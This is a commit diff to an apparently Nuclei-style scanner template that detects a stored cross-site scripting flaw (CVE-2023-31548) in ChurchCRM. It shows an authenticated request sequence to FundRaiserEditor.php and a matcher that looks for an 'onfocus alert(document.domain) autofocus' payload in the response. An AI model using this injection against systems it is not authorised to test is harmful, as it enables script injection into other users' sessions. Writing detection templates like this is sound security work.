updated info

http/cves/2023/CVE-2023-31548.yaml

@@ -1,7 +1,7 @@
 id: CVE-2023-31548
 
 info:
-  name: ChurchCRM - Stored Cross Site Scripting
+  name: ChurchCRM v4.5.3 - Cross-Site Scripting
   author: Harsh
   severity: medium
   description: |
@@ -16,18 +16,19 @@ info:
     cwe-id: CWE-79
   metadata:
     verified: true
-  tags: cve,cve2023,churchCRM,stored,xss,authenticated
+  tags: cve,cve2023,churchcrm,stored,xss,authenticated
+
 http:
   - raw:
       - |
-        POST /churchcrm/session/begin HTTP/1.1
+        POST /session/begin HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
 
         User={{username}}&Password={{password}}
 
       - |
-        POST /churchcrm/FundRaiserEditor.php?linkBack=&FundRaiserID=-1 HTTP/1.1
+        POST /FundRaiserEditor.php?linkBack=&FundRaiserID=-1 HTTP/1.1
         Host: {{Hostname}}
         Content-Type: application/x-www-form-urlencoded
 
@@ -39,6 +40,7 @@ http:
       - type: dsl
         dsl:
           - 'status_code_2 == 200'
-          - 'contains(body_2, "alert(document.domain)")'
+          - 'contains(content_type_2, "text/html")'
+          - 'contains(body_2, "onfocus=\"alert(document.domain)\" autofocus=\"\"></td>")'
           - 'contains(body_2, "ChurchCRM")'
         condition: and